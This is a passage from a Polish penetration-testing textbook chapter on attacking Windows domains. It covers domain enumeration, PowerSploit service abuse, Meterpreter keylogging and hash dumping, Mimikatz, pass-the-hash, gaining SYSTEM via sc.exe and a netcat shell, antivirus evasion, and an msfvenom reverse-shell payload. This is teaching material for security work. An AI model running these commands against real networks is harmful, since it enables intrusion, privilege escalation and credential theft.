Możesz tutaj wpisywać dowolne polecenia, tak jak w każdej innej powłoce, choć wiele znanych
Ci poleceń nie będzie tutaj działać. Na przykład, jeżeli spróbujesz użyć polecenia id, to zobaczysz
jedynie komunikat o błędzie:
'id' is not recognized as an internal or external command, operable
program or batch file.

Musisz zatem nauczyć się używania równoważnych poleceń działających w systemie Windows,
ponieważ część poleceń linuksowych nie będzie tutaj działała. Niektóre polecenia są bardzo po-
dobne do linuksowych, ale różnią się składnią albo listą wymaganych parametrów. Na przykład chcąc
wypisać zawartość aktualnego katalogu, zamiast używać polecenia ls, trzeba posłużyć się polece-
niem dir. Posługując się zaledwie kilkoma poleceniami, możesz zacząć eksplorować system i po-
szukiwać w nim interesujących plików.
Możesz też wypróbować narzędzia działające w wierszu poleceń systemu Windows, takie jak nltest,
które umożliwia wysyłanie zapytań do serwisu Windows Netlogon. Jeżeli chcesz poznać szczegóły
działania tego narzędzia, to nie możesz niestety skorzystać z podręcznika man, ale zawsze możesz
spróbować uruchomić je, nie podając żadnych parametrów. Zobaczysz wtedy poniższy komunikat:
No parameters specified. Use /? for help on command line parameters.

To bardzo przydatna wiadomość. Teraz już wiesz, jak można uzyskać pomoc! Jednym ze spo-
sobów używania programu Nltest jest wprowadzenie polecenia nltest /dclist:hackerhouse.
W tym przykładzie zapytanie prosi o podanie listy kontrolerów domen dla domeny hackerhouse
(tę samą listę widzieliśmy wcześniej w wynikach pracy programu enum4linux). Jeżeli w systemie
skonfigurujesz własną domenę, to w tym poleceniu musisz podać jej nazwę. Wyobraź sobie, że
udało Ci się uzyskać dostęp do komputera, który nie jest kontrolerem domeny w sieci klienta,
a jedynie jednej ze stacji roboczych. W takiej sytuacji musisz poszukać kontrolerów domen, ponie-
waż to one są głównym celem Twoich działań. Po uruchomieniu programu nltest możesz zoba-
czyć informacje podobne do poniższych:
Get list of DCs in domain 'hackerhouse' from '\\WIN2008R2'.
WIN2008R2.HACKERHOUSE.LAN [PDC] [DS] Site: Default-First-Site-Name
The command completed successfully

3681988c430c7fe1e8567c4e2f281f7b
3
496 Rozdział 13  Microsoft Windows

Na liście znajduje się tylko jedna pozycja zawierająca informację, że host WIN2008R2.HACKERHO
´USE.LAN jest głównym kontrolerem domeny (dopisek [PDC]). Teraz bardzo przyda się polecenie
net, przyjmujące wiele różnych parametrów, które możesz poznać po wprowadzeniu polecenia
net help. Aby uzyskać listę użytkowników lokalnego komputera, możesz skorzystać z polecenia
net users, które powinno wypisać listę podobną do poniższej:
User accounts for \\

-----------------------------------------------------------
backup claire craigf
Guest helpdesk hhadmin
jennya jimmys johnf
krbtgt peterk svcadm
trident
The command completed with one or more errors.

Możesz też użyć polecenia net users /domain, aby wypisać listę użytkowników nie tylko lokal-
nego systemu, ale też całej domeny. Z kolei polecenie net group "Domain Admins" wypisze użyt-
kowników należących do grupy Domain Admins (administratorzy domeny). Taka lista jest szcze-
gólnie przydatna, ponieważ udane włamanie na konta tych użytkowników umożliwi uzyskanie
kontroli nad całą domeną. W prezentowanym wyżej poleceniu można podać dowolną inną nazwę
istniejącej grupy, aby uzyskać nazwy należących do niej użytkowników. W poniższym wydruku
widać, że do tej grupy należy dwóch użytkowników (backup i hhadmin), którzy są administrato-
rami tej domeny.
Group name Domain Admins
Comment Designated administrators of the domain

Members
----------------------------------------
backup hhadmin
The command completed successfully.

Skoro konta backup i hhadmin należą do administratorów domeny, to możesz wykorzystać ich
dane uwierzytelniające przy połączeniu z dowolnym komputerem należącym do tej domeny.
Z pewnością pamiętasz jeszcze, że konto hhadmin wykryliśmy wcześniej, przeglądając preferencje
zasad grupy, co można zrobić za pośrednictwem zwykłego konta użytkownika domeny. To właśnie
dzięki takiemu kontu można podejmować kolejne kroki, takie jak podniesienie swoich uprawnień
w kontekście domeny i przejmowanie różnych zasobów sieciowych. To takie konta pozwalają na
wykonywanie ruchów bocznych. Poszukujemy komputerów, które ufają sobie wzajemnie, oraz do-
stępnych na nich zasobów, aby wykonać kopię tych informacji i wykorzystać ją w innych miejscach
w sieci. Powstały nawet specjalne narzędzia ułatwiające wykonywanie takich ruchów. Jednym z tych
narzędzi jest BloodHound, które umożliwia wyszukiwanie „ścieżek” łączących różne komputery
w sieci. BloodHound używa mechanizmów zbierających dane, które po uruchomieniu na kompu-
terze podłączonym do domeny umożliwiają wnioskowanie związków zaufania między kompute-
rami i prezentują te informacje w formie grafu.

Polecenie whoami działa podobnie jak polecenie id. Wypisuje ono nazwę aktual-
nie zalogowanego użytkownika.

3681988c430c7fe1e8567c4e2f281f7b
3
PowerShell 497

Umiejętność posługiwania się powłoką bardzo ułatwi Ci wyszukiwanie interesujących infor-

macji, gdy tylko uzyskasz dostęp do komputera w domenie. Z poziomu wiersza poleceń możesz
wysyłać zapytania LDAP oraz zapytania do całej domeny. Oto kilka typowych poleceń, które
warto wypróbować, aby uzyskać informacje na temat komputerów, użytkowników i innych za-
sobów w sieci:
net users /domain
net group /domain
net group "Domain Admins " /domain
net group "Enterprise Admins" /domain
nltest /domain_trusts – wyświetla zaufane elementy w domenie
nltest /dcname:<nazwa domeny> - znajduje główny kontroler domeny
netdom – sprawdza elementy z dwukierunkową relacją zaufania
dsquery * -limit 0 – przejmuje wszystkie informacje Active Directory
dsquery user "cn=users,dc=dev,dc=test" – wypisuje użytkowników
dsget group "cn=Domain Admins,cn=users,dc=dev,dc=test" -members -admins
dsget user "cn=john,cn=users,dc=dev,dc=test" -memberof - user group Computers & Servers
net view /domain:<DOMENA>
net view \\<nazwaHosta>
srvinfo \\<nazwaHosta>
sc \\<nazwaHosta>
nbtstat -A <nazwaHosta>
net group "Domain Computers" /DOMAIN

PowerShell
Z pewnością ucieszysz się z wiadomości, że nie musisz korzystać wyłącznie z domyślnej powłoki
systemu Windows. Przez długie lata hakerzy i administratorzy systemów nie mieli tu żadnego wy-
boru. Na szczęście firma Microsoft wprowadziła nową powłokę PowerShell, która udostępnia nowe
funkcje i możliwości w wierszu poleceń systemu Windows. Dzięki temu możliwe stało się urucha-
mianie serwerów Windows nieużywających interfejsu graficznego, a to sprawiło, że systemy Win-
dows stały się bardziej podobne do środowisk znanych wszystkim użytkownikom systemów unik-
sowych i linuksowych. W efekcie zwiększyła się łatwość użytkowania oraz elastyczność pracy
w systemach Windows. Jednocześnie ułatwiło to przełamywanie zabezpieczeń systemu przez zło-
śliwych hakerów.
PowerShell jest obiektowym językiem skryptowym, w którym polecenia używane są w podobny
sposób do metod w obiektowych językach programowania. Dostęp do powłoki PowerShell można
uzyskać przy zastosowaniu odpowiedniego payloadu we frameworku Metasploit, takiego jak
windows/x64/powershell_reverse_tcp. Inną metodą jest uzyskanie dostępu do zdalnego pulpitu
i późniejsze uruchomienie okna PowerShell, tak jak zrobiłby to zwyczajny użytkownik.
Po uruchomieniu polecenia Get-Help zobaczysz, że możesz teraz korzystać z systemu pomocy
podobnego do uniksowych stron man. Większość poleceń ma tutaj własną stronę pomocy, na której
znajdują się też przykłady użycia danego polecenia. Możliwe jest tu również korzystanie z pole-
ceń znanych z systemów uniksowych, takich jak ls, które w powłoce PowerShell jest aliasem
polecenia dir.

3681988c430c7fe1e8567c4e2f281f7b
3
498 Rozdział 13  Microsoft Windows

Podnoszenie uprawnień w powłoce PowerShell

Do znalezienia usługi działającej z podniesionymi uprawnieniami można wykorzystać zarówno
menedżera zadań, jak i polecenia net start lub services.msc. To ostatnie spowoduje wyświetlenie
okna z listą wszystkich serwisów działających w systemie, razem z informacją o koncie, w kontekście
którego działa dana usługa (tak jak na rysunku 13.8).

Rysunek 13.8. Usługi systemu Windows

W oknie przeglądarki usług systemowych przedstawionej na rysunku 13.8 znajdziesz też usługę
serwera VNC (w wersji 4.), która działa jako użytkownik backup. Kliknij tę usługę prawym przyci-
skiem myszy i z menu kontekstowego wybierz pozycję Właściwości, aby uzyskać dodatkowe infor-
macje na temat tej usługi. Na karcie Logowanie podawane są nazwa użytkownika (backup) i coś,
co przypomina zapisane hasło. Dane tego konta serwisowego są zapisane w pamięci podręcznej
LSA (Local Service Account) i można je wydobyć za pomocą programu Meterpreter lub Mimikatz.
Konta serwisowe są zwykle kontami o zwiększonych uprawnieniach. Zwykle takie konta tworzone
są do zarządzania oprogramowaniem używanym w całej firmie, takim jak systemy VPN, kopii za-
pasowych albo oprogramowania antywirusowego. Po uzyskaniu dostępu do danego komputera użyj
sesji programu Meterpreter i skryptu powłamaniowego, takiego jak windows/gather/lsa_secrets,
aby uzyskać hasło używane w takich kontach.
Zwróć uwagę na to, że większość serwisów działa z prawami konta Usługa lokalna lub Usługa
sieciowa. Niektóre z nich używają konta System sieciowy lub System lokalny. W systemach Win-
dows bardzo ważne jest słowo SYSTEM, ponieważ reprezentuje ono konto użytkownika. Wcześniej
mówiliśmy, że konto administratora jest równoważne z uniksowym kontem root, ale tak naprawdę
podobny poziom uprawnień co konto root ma konto użytkownika SYSTEM. W systemie nie da się
zalogować jako użytkownik SYSTEM, ale odpowiednimi metodami można uzyskać uprawnienia
tego konta. Możliwe jest też uruchamianie kodu z tym poziomem uprawnień.

3681988c430c7fe1e8567c4e2f281f7b
3
PowerShell 499

Dobrą ścieżką podnoszenia uprawnień jest poszukiwanie serwisów, które działają z prawami
użytkownika System lokalny, a jednocześnie do pewnego stopnia umożliwiają interakcję lub zmianę
swojego stanu. Można to zrobić, sprawdzając uprawnienia plików związanych z dowolnym działa-
jącym serwisem za pomocą takich narzędzi jak cacls.exe i próbując nadpisać te pliki własnymi da-
nymi. Ta praca wykonywana ręcznie może być naprawdę żmudna, ale przed pojawieniem się po-
włoki PowerShell tak właśnie pracowali niemal wszyscy hakerzy.

PowerSploit i AMSI
Jedną z pierwszych rzeczy, jakie należy wykonać po zdobyciu przyczółku w hoście z systemem
Windows (ale i każdym innym), powinno być przesłanie na niego własnych narzędzi, które po-
zwolą na dalsze testowanie i podnoszenie swoich uprawnień. PowerSploit jest frameworkiem
zawierającym moduły powłoki PowerShell, które można wykorzystać na zaatakowanym hoście.
Kod tego frameworku znajdziesz pod adresem https://github.com/PowerShellMafia/PowerSploit.
Zauważ, że w nowoczesnych systemach Windows włączona jest funkcja AMSI (Anti-Malware Scan
Interface), która zajmuje się skanowaniem uruchamianych skryptów i pozwala bardzo szybko wy-
kryć przedstawione poniżej przykłady kodu. W ramach nauki lepiej jest zatem wyłączyć funkcję
AMSI w swoim laboratorium.

Interfejs AMSI jest standardem umożliwiającym aplikacjom interakcję z dowol-

nym zainstalowanym w systemie programem antywirusowym.

Aby załadować framework PowerSploit w oknie powłoki PowerShell (zakładamy, że kod frame-
worku znajduje się w aktualnym katalogu), należy posłużyć się poniższym poleceniem:
Import-module .\PowerSploit.psm1

W tym momencie może pojawić się komunikat o błędzie mówiący, że moduł nie może zostać
załadowany, ponieważ wykonywanie skryptów zostało wyłączone. W takiej sytuacji można zmienić
zasady wykonywania skryptów w samym oknie PowerShell:
Set-ExecutionPolicy -ExecutionPolicy Unrestricted

Pytanie zadane przez system potwierdź, wpisując literę y, i jeśli masz odpowiednie uprawnienia
administracyjne, powinno to zmienić systemowe zasady, umożliwiając ładowanie skryptów. Jeżeli
z powodu braku uprawnień nie jesteś w stanie zmienić ustawień dla całego systemu, to spróbuj
zastosować poniższe polecenie:
Set-ExecutionPolicy -ExecutionPolicy Unrestricted -Scope Process

Po wykonaniu jednego z tych dwóch poleceń spróbuj ponownie wprowadzić polecenie

Import-module .\PowerSploit.psm1. Teraz importowanie skryptów do lokalnego procesu po-
winno przebiec bez zakłóceń. W ten sposób w powłoce PowerShell dostępne są nowe polece-
nia, takie jak Invoke-ACLScanner, Invoke-AllChecks i InvokeCheckLocalAdminAccess. Polecenie
Invoke-AllChecks można wykorzystać do sprawdzenia możliwości automatycznego podniesienia
swoich uprawnień w systemie. Kontroluje ono również, czy serwisowe pliki wykonywalne nie mają
obniżonych uprawnień.

3681988c430c7fe1e8567c4e2f281f7b
3
500 Rozdział 13  Microsoft Windows

Po znalezieniu odpowiedniej usługi (możesz tu posłużyć się programem services.msc) i powią-

zanych z nią plików binarnych możesz uruchomić polecenie cacls <NazwaPliku>, aby przejrzeć
listę kontroli dostępu tego pliku. Podobnie sprawdza się uprawnienia do pliku w systemach unik-
sowych. Zauważysz tu, że pełną kontrolę nad plikiem wykonywalnym mają wszyscy użytkownicy
z grupy BUILTIN oraz użytkownicy NT AUTHORITY i Administrator. W takim przypadku ozna-
cza to, że plik wykonywalny uruchamiany przy starcie systemu z prawami konta System lokalny
może zostać zmieniony przez dowolnego użytkownika (z grupy BUILTIN). Grupa BUILTIN\Users
jest grupą tworzoną automatycznie, której przypisywane są konta wszystkich lokalnych użytkow-
ników hosta. Podobnie grupa BUILTIN\Administrators jest automatycznie wypełniana kontami
użytkowników z grupy administratorów. Microsoft używa grupy BUILTIN jako metody automa-
tycznego zbioru użytkowników na potrzeby zarządzania plikami oraz wewnętrznego zarządzania
systemem. Możesz to wykorzystać automatycznie za pomocą polecenia Invoke-ServiceAbuse
-Name "<NazwaUsługi>", które jest częścią frameworku PowerSploit. W ten sposób utworzysz na
swoje potrzeby nowe konto użytkownika, nadasz mu hasło, a konto będzie miało uprawnienia ad-
ministratora. Wspomniane polecenie jest w stanie utworzyć takie konto, ponieważ zastępuje ono
plik wykonywalny usługi własnym plikiem, a następnie ponownie uruchamia tę usługę. Cały ten
proces możesz też wykonać ręcznie.
Możesz też natknąć się na usługi zainstalowane przez samą firmę. Może to być system tworze-
nia kopii zapasowych albo program antywirusowy, który również może być podatny na ten rodzaj
ataku. Przez lata w firmie Hacker House znaleźliśmy wiele takich problemów z uprawnieniami do
plików należących do samodzielnie instalowanych usług. Wystarczy tylko jedna źle skonfiguro-
wana usługa, aby uzyskać dostęp do uprawnień konta SYSTEM, co z kolei umożliwia odczytanie
skrótów haseł z bazy danych SAM.

Meterpreter
W 2001 roku grupa polskich badaczy znana pod nazwą The Last Stage of Delirium zaprezentowała
innowacyjne narzędzie o nazwie WASM. Było to pierwsze tego typu narzędzie dla systemów Win-
dows, które radykalnie zmieniło postrzeganie hakowania tych systemów. WASM to system zarzą-
dzania payloadem umożliwiający wykonywanie złożonych zadań, takich jak przesyłanie dodatko-
wego kodu na atakowanego hosta po uprzednim wykorzystaniu exploitu, aby zdobyć na hoście punkt
zaczepienia. Framework Meterpreter można uznać zatem za rozwinięcie idei programu WASM.
Warto zatem wypróbować działanie payloadu Meterpreter dostępnego we frameworku Metasploit
(na przykład windows/x64/meterpreter/reverse_tcp) w połączeniu z pasującą podatnością. W ten
sposób dowiesz się, jakie działania można wykonać za jego pomocą. WASM było nowością z tego
powodu, że w czasie, gdy przesyłanie i pobieranie plików z systemów Windows było utrudnione
(używano wtedy zwykle protokołów TFTP lub SMB), to rozwiązanie umożliwiało bardzo proste
zarządzanie przesyłaniem plików i szybkie pobieranie różnych danych ze zdalnego hosta.
Framework Meterpreter nie udostępnia Ci wyłącznie dostępu do powłoki. Można go wyko-
rzystać również do uzyskania dostępu do takiego sprzętu jak kamery i mikrofony. Takie narzę-
dzie jest nieocenione w systemach Windows, ponieważ w przeciwieństwie do systemów linuk-
sowych nie ma tutaj dostępnych domyślnie narzędzi umożliwiających wykonywanie prostych

3681988c430c7fe1e8567c4e2f281f7b
3
Zbieranie skrótów haseł 501

operacji, jak przesyłanie plików między hostami. Nie ma tu interpretera skryptów Pythona, nie
ma programów Netcat, wget i innych.
Meterpreter tworzy zatem całkowicie nowe środowisko użytkownika i udostępnia zbiór pole-
ceń, z których możesz korzystać. Po wpisaniu polecenia shell Metasploit umożliwi dostęp do po-
włoki systemu Windows. Po zakończeniu pracy z powłoką możesz ją zamknąć i wrócić do środo-
wiska Meterpretera.
Meterpreter działa w pamięci operacyjnej atakowanego komputera, wewnątrz procesu, który
wybierzesz jako cel wstrzykiwania (domyślnie jest to spoolsv.exe), ale za pomocą polecenia migrate
możliwe jest migrowanie pomiędzy różnymi procesami. Migracja do takiego procesu jak winlo-
gon.exe zwiększa szanse na zachowanie połączenia ze zdalnym systemem, ponieważ jest to proces,
który raczej nie jest zatrzymywany przez użytkowników, a jednocześnie ma uprawnienia wystar-
czające do uzyskania dostępu do bazy danych SAM. Działające środowisko Meterpretera zostanie
zatem przeniesione do dowolnego, wybranego przez Ciebie procesu. Polecenie migrate wymaga
podania jedynie identyfikatora docelowego procesu.
migrate <PID>

Meterpreter udostępnia też polecenie umożliwiające podniesienie swoich uprawnień (getsys-

tem), które automatycznie stosuje kilka różnych technik pozwalających uzyskać poziom uprawnień
SYSTEM, ale tylko pod warunkiem, że już teraz działasz z prawami administratora. Sesji Meterpretera
można używać też w połączeniu z narzędziami powłamaniowymi umożliwiającymi lokalne pod-
niesienie uprawnień, podobnymi do tych, których używaliśmy przy wykorzystywaniu preferencji
zasad grup. Po skutecznym podniesieniu uprawnień zyskasz pełną kontrolę nad przejętym syste-
mem. Pracę z każdym potężnym narzędziem, a takim jest framework Meterpreter, najlepiej zacząć
od polecenia help.
Możesz też użyć polecenia keyscan_start, aby uruchomić moduł przechwytujący naciśnięcia
klawiszy. Aby przejrzeć listę naciśniętych klawiszy, trzeba jeszcze użyć polecenia keyscan_dump.
To doskonała metoda przechwytywania haseł, ponieważ użytkownicy muszą je wprowadzać, prze-
chodząc z jednej aplikacji do innej.

Zbieranie skrótów haseł

Polecenie hashdump dostępne we frameworku Meterpreter umożliwia przejęcie i zapisanie zawar-
tości bazy danych SAM. Ta operacja jest bardzo podobna do przejęcia zawartości pliku /etc/passwd
oraz powiązanego z nim pliku /etc/shadow, które są używane w systemach linuksowych i unikso-
wych. Meterpreter jest w stanie zautomatyzować ten proces, pobierając niezbędne klucze — rozru-
chowy i systemowy.
Meterpreter ma funkcję pozwalającą załadować inne narzędzia, na przykład poleceniem load
mimikatz. Program Mimikatz umożliwia uzyskiwanie jawnej postaci haseł zapisanych w różnych
częściach systemu Windows. Po załadowaniu programu Mimikatz spróbuj użyć poleceń ssp i tspkg
będących częścią repertuaru Meterpretera. W ten sposób możesz uzyskać hasła użytkowników,
którzy niedawno zalogowali się do tego systemu, ponieważ ich jawna postać na pewno znajduje się
jeszcze gdzieś w pamięci komputera (działanie tych poleceń jest zbliżone do tego, co widzieliśmy
przy analizie błędu Heartbleed). Sam program Mimikatz (https://github.com/gentilkiwi/Mimikatz)

3681988c430c7fe1e8567c4e2f281f7b
3
502 Rozdział 13  Microsoft Windows

udostępnia wiele różnych funkcji, które również warte są osobnego wypróbowania. Pozostałe pole-
cenia frameworku Meterpreter zostały dobrze opisane na stronie https://www.offensive-security.com/
metasploit-unleashed/meterpreter-basics. Pamiętaj jednak, że wszystkie narzędzia do pozyskiwania
haseł powinny być uruchamiane z powłoki działającej z uprawnieniami konta SYSTEM.

Używanie skrótów haseł

W systemach uniksowych skróty haseł użytkowników zapisywane są w pliku /etc/shadow. W sys-
temach Windows wszystkie skróty haseł muszą być pobierane bezpośrednio z pamięci komputera
za pomocą takich narzędzi jak Mimikatz.

Jeśli użyjesz techniki nazywanej „pass the hash” (została opisana w artykule
https://code.google.com/archive/p/passing-the-hash/), możesz uzyskać dostęp do kont
użytkowników systemu Windows, korzystając wyłącznie ze skrótów haseł.

Zwykle skrót hasła musi zostać złamany i trzeba uzyskać z niego jawną postać hasła, która
w połączeniu z nazwą użytkownika może służyć do uzyskania dostępu do systemów. Jednak w nie-
których sytuacjach w systemach Windows możliwe jest bezpośrednie wykorzystanie skrótu do
uwierzytelnienia użytkownika, bez konieczności łamania go. W domenie systemów Windows użyt-
kownik może uzyskać dostęp do serwera plików, nie uwierzytelniając się za pomocą hasła, ale
korzystając z automatycznego uwierzytelniania używającego wyłącznie skrótu hasła. Ten sposób
uwierzytelniania nie jest częścią protokołu Kerberos, ale osobnej technologii nazywanej New Tech-
nology LAN Manager (NTLM). Technologia NTLM jest rozbudowaną wersją funkcji metod uwie-
rzytelniania LAN Manager (LANMAN), których ostatnia wersja pochodzi z 1994 roku. W tamtym
czasie był to cały sieciowy system operacyjny zbudowany wspólnie przez firmy Microsoft i 3Com.
Być może twórcy tej nieszczęśliwej funkcji rozumowali w ten sposób: „Jeżeli użytkownik ma
kopię skrótu swojego hasła, to możemy mu zaufać. Nie da się uzyskać tego skrótu bez wcześniejszej
autoryzacji”. To doskonale obrazuje problem wynikający z mechanizmów zaufania działających
w systemach Windows. Jeżeli na jednym komputerze uda Ci się zdobyć prawa administratora, to
bardzo możliwe jest, że znajdziesz na nim skróty haseł, które następnie wykorzystasz do uzyska-
nia dostępu do innego systemu, w którym znajdziesz kolejne skróty haseł, itd. W ten sposób można
uzyskać dostęp do zasobów sieciowych wielu komputerów, nie znając prawie żadnych haseł.
Możesz zatem przejąć z bazy danych NTLM skrót hasła konta domenowego i użyć go do uru-
chomienia poleceń na innym komputerze podłączonym do tej samej domeny. Takie sztuczki można
łatwo zrealizować za pomocą narzędzia impacket. W sieci dostępne są nawet przykłady przekazy-
wania skrótu hasła do zdalnych serwisów, takich jak WmiExec, albo do menedżera usług systemu
Windows, z którego korzysta program PsExec. Możliwe jest też złamanie zabezpieczeń NTLM,
choć wymaga to użycia procesorów graficznych, o czym mówiliśmy już w rozdziale 14. „Hasła”.
Należy też wspomnieć, że już w 2012 roku wykazano, że każda permutacja skrótu ośmioliterowego
hasła NTLM może zostać złamana w mniej niż 6 godzin, a komputery z każdym rokiem lepiej radzą
sobie z wykonywaniem tych zadań.

3681988c430c7fe1e8567c4e2f281f7b
3
Podnoszenie uprawnień 503

W poniższym przykładzie przekazujemy skrót hasła do modułu windows/smb/psexec we frame-

worku Metasploit, traktując ten skrót jak samo hasło połączone z nazwą użytkownika hhadmin.
Opcje tego modułu wyglądają tak jak poniżej:
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS yes The target host(s), range CIDR
identifier, or hosts file with syntax 'file:<path>'
RPORT 445 yes The SMB service port (TCP)
SERVICE_DESCRIPTION no Service description to to be
used on target for pretty listing
SERVICE_DISPLAY_NAME no The service display name
SERVICE_NAME no The service name
SHARE ADMIN$ yes The share to connect to, can be
an admin share (ADMIN$,C$,...) or a normal read/write folder share
SMBDomain . no The Windows domain to use for
authentication
SMBPass no The password for the specified
username
SMBUser no The username to authenticate as

Nie podawaliśmy tutaj samego hasła, ale za to parametrowi setSMBPass przypisaliśmy jego skrót.
set SMBPass 4A4FB4544D4D4F4B4G4A4C4F:5S544F5B4A5D4C5D4F54
set SMBUser hhadmin

Podnoszenie uprawnień
Jeżeli chodzi o podnoszenie uprawnień w systemach Windows, to Twoim głównym zadaniem jest
uzyskanie dostępu do konta administratora w lokalnym systemie, uzyskanie dostępu do konta SYS-
TEM, a w końcowym etapie — dostępu do administracyjnego konta domeny. Jedną z metod może
być wykorzystanie znalezionej podatności na jednym z badanych komputerów. Używane do tego
exploity mogą (podobnie jak w systemach uniksowych) atakować przestrzeń jądra albo przestrzeń
użytkownika. Oto kilka historycznych podatności umożliwiających podniesienie uprawnień, które
pozwalały użytkownikowi uzyskać uprawnienia na poziomie konta SYSTEM:
MS11-046 — podniesienie uprawnień za pomocą AFD,
MS14-058 — exploit atakujący jądro systemu,
MS15-078 — podniesienie uprawnień w jądrze autorstwa Hacking Team,
MS16-035 — serwis logowania systemu Windows.
Kolejną skuteczną metodą jest przeprowadzanie ataków siłowych na konto administratora.
Równie skuteczne jest posługiwanie się danymi uwierzytelniającymi uzyskanymi z różnych wycie-
ków danych. Warto też poszukiwać źle zdefiniowanych uprawnień do plików, co widzieliśmy już
w systemach linuksowych. Można też skorzystać z narzędzia PowerUp, które jest częścią frame-
worku PowerSploit i przeznaczone jest do automatyzowania procesu podnoszenia uprawnień (wię-
cej informacji pod adresem https://github.com/PowerShellMafia/PowerSploit/tree/master/Privesc).
PowerUp wykorzystuje często źle skonfigurowane usługi, a zatem po uzyskaniu ograniczonego do-
stępu do lokalnego systemu umożliwia powiększenie uprawnień do poziomu SYSTEM.

3681988c430c7fe1e8567c4e2f281f7b
3
504 Rozdział 13  Microsoft Windows

Aktualnie powłoka PowerShell ma już mniejszą użyteczność z punktu widzenia

hakera, ponieważ w większości systemów włączona jest funkcja AMSI, a narzędzia wykry-
wające typowe działania wykonywane przez hakerów działają z wysoką skutecznością.
Autorzy różnych narzędzi coraz częściej korzystają z języka C#, ponieważ umożliwia on two-
rzenie kodu podlegającego zaciemnieniu, zmianom i szybkiej ponownej kompilacji na wielu
komputerach i serwerach. Wiele narzędzi dawniej działających jako skrypty PowerShell
dzisiaj przenosi się do języka C# lub jemu podobnych.

Uzyskanie uprawnień konta SYSTEM

Po zdobyciu uprawnień administratora masz do dyspozycji kilka prostych metod umożliwiających
zdobycie praw konta SYSTEM. Przykładem może być utworzenie w usłudze sc.exe zadania urucha-
mianego z prawami konta System lokalny. Z tą usługą możesz komunikować się lokalnie, nakazując
jej zdefiniowanie nowych zadań, ale sama usługa umożliwia też zdalną komunikację poprzez sieć.
W trakcie pracy często musimy korzystać z konta SYSTEM, a w tym podrozdziale zaprezentujemy
przykład jednego ze sposobów wykorzystania danych uwierzytelniających konta administratora do
uruchomienia powłoki z prawami SYSTEM. Poniżej znajduje się lista poleceń używanych przy
pracy z usługą sc.exe:
Poniższe polecenia usługi sc.exe \\<ip> <polecenie> mogą być używane zdalnie
sc queryex – wypisuje listę usług
sc qc <usługa> - podaje konfigurację usługi (podaje wartość opcji Zalogowany użytkownik).
sc stop/start/pause/continue <usługa> - stop/start/pauza/wznowienie usługi
sc control – wysłanie do usługi sygnału CONTROL B (używaj po wznowieniu)
sc config <podatnaUsługa> binpath="c:\lol.exe" – zmiana konfiguracji podatnej usługi
sc enumdepend <usługa> - wypisuje zależności danej usługi
sc \\<ip> create <usługa> binpath=c:\bla.exe start=auto – tworzenie zdalnej usługi

Za pomocą parametru binpath możesz utworzyć nową usługę i ją uruchomić. Aby całkowicie
wykorzystać usługi do podniesienia swoich uprawnień, musisz jednak napisać rzeczywistą usługę,
która będzie komunikować się z kontrolerem. Na szczęście firma Microsoft udostępnia kilka przy-
kładowych usług, których kod można przystosować do swoich potrzeb. W firmie Hacker House
przygotowaliśmy projekt usługi SYSTEM (https://github.com/hackerhouse-opensource/backdoors/
blob/master/SYSTEMservice.tgz), która łączy port 1337 na lokalnym hoście z powłoką, dzięki czemu
możesz użyć tego portu, żeby w łatwy sposób uzyskać prawa konta SYSTEM. Pobrany projekt
można łatwo dostosować do swoich potrzeb za pomocą Visual Studio Community. Pamiętaj, że
ten kod musi zostać skompilowany, dlatego w systemie docelowym musi być zainstalowany pakiet
Microsoft Visual C++ Redistributable for Visual Studio 2015, 2017 i 2019. Po skompilowaniu pro-
jektu uzyskasz plik CppWindowsService.exe, który po uruchomieniu z poniższymi opcjami zajmuje
się tworzeniem prostej usługi. Pamiętaj, żeby po zakończeniu pracy odinstalować usługę za pomocą
parametru -remove.
.\CppWindowsService.exe -install

CppWindowsService is installed.

net start CppWindowsService

3681988c430c7fe1e8567c4e2f281f7b
3
Inne metody przesyłania payloadu 505

The CppWindowsService Sample Service service is starting.

The CppWindowsService Sample Service service was started successfully.

C:\tools\Windows_Tradecraft_Tools\netcat\nc.exe 127.0.0.1 1337

Microsoft Windows [Version 6.3.9600]

(c) 2013 Microsoft Corporation. All rights reserved.
C:\WINDOWS\system32>

whoami

whoami
nt authority\system

Inne metody przesyłania payloadu

Do tej pory podczas atakowania zdalnego komputera zakładaliśmy, że payload może zostać prze-
słany wyłącznie przez sieć, czy to przewodową, czy też bezprzewodową. Trzeba jednak pamiętać,
że istnieją też inne metody przenoszenia payloadu, na przykład za pomocą urządzeń USB, kart SD,
płyt CD lub DVD oraz innych fizycznych nośników danych. Podczas wykonywania testu penetra-
cyjnego dla klienta może pojawić się żądanie przetestowania także tych metod przenoszenia da-
nych. Oznacza to, że musisz starać się namówić pracownika firmy do podłączenia napędu USB do
swojego komputera albo włożenia płyty CD lub DVD do napędu, co pozwoli Ci przejąć kontrolę
nad tym komputerem.
MSFvenom jest częścią frameworku Metasploit. Jest to narzędzie umożliwiające przygotowy-
wanie samodzielnego payloadu. Umożliwia ono wybranie jednego z payloadów dostępnych we fra-
meworku i zapisanie go w postaci niezależnego pliku wykonywalnego. Aby ochronić takie złośliwe
pliki wykonywalne przed wykryciem przez programy antywirusowe, trzeba je ukryć wewnątrz in-
nego pliku binarnego. Narzędziem świetnie spełniającym to zadanie jest Shellter dostępny na stro-
nie https://www.shellterproject.com.
Projekt Shellter ma za zadanie wstrzykiwać payload (w projekcie używana jest nazwa shellcode)
do plików wykonywalnych dla systemów Windows, aby uniknąć wykrycia tego payloadu przez opro-
gramowanie antywirusowe. Powszechnie używane jest też inne, komercyjne narzędzie — Themida
firmy Oreans Technology (https://www.oreans.com/Themida.php) — które także ma za zadanie za-
pobiegać wykrywaniu złośliwego kodu w plikach wykonywalnych. Można go używać za darmo
w okresie próbnym, w trakcie którego możesz przepakowywać pliki wykonywalne za pomocą ma-
szyn wirtualnych, aby w ten sposób ukrywać ich prawdziwe zadania. Dodatkowo możliwe jest też
zakodowanie plików wykonywalnych wewnątrz kodu skryptu, co znacznie częściej rzeczywiście
zabezpiecza kod przed wykryciem. Stosując kombinację przedstawionych tu narzędzi i przy zało-
żeniu, że uda Ci się dostarczyć swój plik wykonywalny na zdalny komputer (za pomocą napędu USB
albo płyty CD lub DVD), możesz namawiać użytkownika do uruchomienia przygotowanego pliku,
który utworzy sesję frameworku Meterpreter łączącą się z Twoim lokalnym systemem.
msfvenom -f exe -p windows/meterpreter/reverse_tcp LHOST=192.168.48.1
LPORT=443 > payload.exe

3681988c430c7fe1e8567c4e2f281f7b
3
506 Rozdział 13  Microsoft Windows

Za pomocą tego polecenia nakazujesz utworzenie pliku .exe oraz podajesz ścieżkę do payloadu,
